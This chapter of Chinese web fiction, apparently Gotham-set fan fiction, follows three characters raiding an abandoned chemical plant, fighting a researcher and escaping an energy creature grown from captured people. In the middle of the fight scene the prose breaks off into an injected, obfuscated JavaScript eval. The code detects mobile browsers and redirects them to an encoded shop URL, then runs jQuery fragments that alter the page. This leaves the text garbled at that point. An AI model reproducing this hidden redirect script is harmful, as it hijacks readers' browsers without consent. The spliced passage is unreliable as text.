第二天晚上七点半，三人离开公寓。
泰勒提德开车，杰森坐副驾驶，洛拉在后座。车里很安静，只有引擎声和偶尔经过的车辆轰鸣。
八点十分，车停在一片荒地边缘。前面五百米处，废弃化工厂的轮廓在夜色里若隐若现。几个高大的烟囱指向天空，像折断的手指。
莉娜从阴影里走出来。她穿着黑色作战服，腰间挂着几个小包，背上有一把短刀。
“准时。”她说，目光扫过杰森和洛拉，“装备检查了吗？”
杰森点头。传送符在内侧口袋，烟雾弹在腰包，稳定剂在胸前暗袋。防刺背心贴身穿着，上面有泰勒提德新绘的防护符号。
洛拉也点头。她的装备少一些，但该有的都有。
“听着。”莉娜说，“工厂分三层。地上一楼是守卫区，大概六到八个人，普通武装。二楼是实验室，可能有人。地下一楼是核心区，我们要去的地方。”
她在地上画了个简单的示意图。
“我走前面，杰森跟后面三米，洛拉最后。洛拉的任务是感知能量，有任何异常立刻说。杰森的任务是准备阵法，如果核心区有东西，第一时间画稳定阵。”
她看向洛拉。
“你的感知范围多大？”
“三十米左右。”洛拉说，“如果能量强，能更远。”
莉娜点头，又看向杰森。
“阵法需要多久？”
“三分钟。”杰森说，“如果有干扰，可能更长。”
“尽量快。”莉娜站起来，“出发。”
三人穿过荒地，靠近化工厂。夜色掩护了他们的身影，但工厂周围有一些照明灯，把建筑轮廓照得清楚。
莉娜找到一处阴影，翻过围墙。杰森和洛拉跟上。
落地后是一堆生锈的废料。空气里有化学品的残留气味，刺鼻。
洛拉突然拉了一下杰森的袖子。
“左边，二十米，有人。”
莉娜立刻停下，做了个手势。三人蹲在废料堆后面。
几秒后，两个巡逻的守卫走过来。他们穿着普通的深色工装，手里拿着手电筒，边走边聊天。
“今晚又得熬到几点？”
“换班是两点。坚持一下。”
两人从废料堆旁边经过，没发现异常。
等他们走远，莉娜继续前进。
工厂一楼的大门锁着，但侧面有扇窗户破了一半。莉娜轻轻推开窗，钻进去。杰森和洛拉跟上。
里面是个宽散的车间，堆着废弃的设备。几条传送带早已停止运转，上面落满灰尘。
洛拉指向左侧楼梯：“那边有能量。很弱，像残留。”
莉娜点头，走向楼梯。
二楼的门锁着，但锁是老式的，莉娜用一根细铁丝捅开。门后是一条走廊，两侧是办公室和实验室。
洛拉突然停下。
“下面。”她低声说，“很强的能量。正在移动。”
莉娜皱眉。“移动？”
“像……心跳。一下一下的。”
莉娜加快脚步。走廊尽头有楼梯通向地下一层。楼梯口的门是新装的，厚重的金属门，上面有电子锁。
“高科技配破工厂。”莉娜低声说，“找对地方了。”
她从背包里拿出一个小仪器，贴在锁上。仪器屏幕闪了几下，锁咔哒一声开了。
门后是向下的楼梯。空气变得更冷，那种化学品的味道更浓了，还混着另一种气味——甜的，腻的，像腐烂的水果。
洛拉捂住鼻子。
“能量很强。”她小声说，“下面。好多。”
楼梯尽头是一扇开着的门。门后是个巨大的地下室，至少有半个足球场大。天花板上有几盏灯，发出惨白的光。
地下室里摆满了设备：玻璃罐、管道、显示屏。最引人注目的是中央那个巨大的玻璃容器，里面充满淡绿色的液体。液体里漂浮着一个人形的东西。
杰森盯着那个容器。液体里的人形轮廓很模糊，但偶尔会动一下，像在呼吸。
容器周围有七八个小型的玻璃罐，每个罐子里都泡着东西——有些是器官，有些是……碎片。发光的碎片。
“能量结晶。”莉娜低声说，“他们在培养。”
洛拉突然抓紧杰森的手臂。
“有东西来了。”
话音刚落，地下室的另一端响起脚步声。三个人从设备后面走出来。中间那个人穿着白大褂，戴着眼镜，像个研究人员。旁边两个是守卫，手里拿着电击棒。
白大褂看到他们，愣了一下，然后笑了。
“终于来了。”他说，“等很久了。”
莉娜的手放在刀柄上。
“你是谁？”
“我？”白大褂推了推眼镜，“我叫克莱默。这个项目的负责人。你们是来参观的？还是来捣乱的？”
“来带人走。”莉娜说，“那些被抓的能量敏感者。”
克莱默笑出声。
“太晚了。他们已经贡献了能量，现在在里面。”他指了指那个大玻璃罐，“看到没有？那是我们的杰作。用三十七个人的能量培养出来的。就差一点就成熟了。”
杰森看向那个大罐子。液体里的人形轮廓似乎动得更频繁了。
“你们在养什么？”他问。
克莱默看着他，眼神变得狂热。
“一个新的存在。纯粹的能量生命。不需要□□，不需要限制。等它成形，就能脱离容器，自由行动。到时候，它想吸收谁的能量就吸收谁。整个城市，整个世界，都是它的食物来源。”
洛拉退后一步。
莉娜拔出刀。
“废话真多。”她说，“杰森，画阵。”
杰森立刻蹲下，开始绘制稳定阵。洛拉站在他旁边，盯着克莱默和守卫。
两个守卫冲过来。莉娜迎上去，刀光一闪，第一个守卫倒下。第二个守卫用电击棒刺来，莉娜侧身躲过，反手一刀刺进他肩膀。
守卫惨叫倒地。
克莱默退后几步，从口袋里拿出一个遥控器。
“你们不懂。”他说，“它已经快醒了。你们阻止不了。”
他按下遥控器。
大玻璃罐里的液体开始沸腾。那个人形轮廓剧烈扭动，然后睁开眼睛。
那是一双没有瞳孔的眼睛，全是光。
洛拉尖叫一声，捂住头。杰森感到一阵强烈的冲击，像有什么东西在撕扯他的意识。能量在体内乱窜，不受控制。
“继续画阵！”莉娜大喊。
杰森咬牙，强迫自己集中注意力。手在抖，但他继续画。一条线，两条线，三个节点。
克莱默冲向门口，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317054|198969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莉娜追过去，一刀刺中他后背。克莱默倒下，遥控器摔碎。
但大罐子里的东西已经醒了。
玻璃罐炸裂。绿色液体涌出，那个东西从里面飘起来。它没有固定的形态，像一团扭曲的光，时而凝聚成人形，时而散开成雾气。
它飘向最近的小玻璃罐，吸收里面的碎片。能量波动更强了。
杰森的阵法画到三分之二。手抖得厉害，但他没停。
洛拉蹲在地上，抱着头，但还在坚持——她在用自己的感知帮杰森定位能量节点。那些本来看不见的节点，在她的提示下变得清晰。
“节点七，偏左。”
杰森移动手指。
“节点八，再往下。”
莉娜站在他们前面，盯着那个光团。它吸收了所有碎片后，转向他们。
“小孩，还要多久？”莉娜问。
“一分钟。”杰森说。
“快。”
光团飘过来。莉娜冲上去，一刀砍向它。刀穿过光团，没造成任何伤害，但她手腕上的一个护符突然炸裂，释放出一道强光。光团被逼退了几米。
“泰勒给的。”莉娜说，“只有三个。”
她扔出第二个护符。光团再次被逼退。
杰森画完最后一条线。
阵法亮起来。淡金色的光芒从地面升起，形成一个半圆形的罩子，把整个地下室罩在里面。
光团撞在罩子上，被弹回去。它发出尖锐的嘶鸣，再次撞击，又被弹回。
“困住了。”杰森喘着气，“但撑不了多久。”
莉娜看向门口。
“那就快走。”
三人冲向楼梯。身后传来连续的撞击声，阵法的光芒在减弱。
跑上一楼，跑过车间，从窗户翻出去。刚落地，地下传来轰的一声巨响。地面震动，化工厂的一角塌陷下去。
杰森回头。那个光团从废墟里升起，飘在空中。
但它没追过来。它在原地盘旋了几圈，然后突然加速，向另一个方向飞去。
“它跑了。”洛拉说。
莉娜盯着那个方向。
“它去找吃的了。”她说，“这座城市里还有很多能量敏感者。”
杰森握紧拳头。
阵法没困住它。只是耽误了它几分钟。
几分钟能做什么？
远处传来泰勒提德的声音。她从阴影里跑过来，手里拿着一个发光的仪器。
“上车。”她说，“快。”
四人跑向停车的地方。身后，化工厂的废墟还在燃烧。橘红色的火光映在哥谭的夜空中，像一道伤疤。
上车后，泰勒提德加速驶离。
“困住了多久？”她问。
“三分钟。”杰森说。
“够用了。”
“够什么用？”
泰勒提德从后视镜里看了他一眼。
“够我在它身上种追踪符。”她说，“现在知道它去哪了。”
莉娜在后座笑了一声。
“还是你狠。”
杰森靠在椅背上，闭上眼睛。
洛拉在旁边，手还在抖。杰森握住她的手腕，用力按了一下。
“没事。”他说，“回去了。”
洛拉没说话，但手不抖了。
车继续开。哥谭的夜还很长。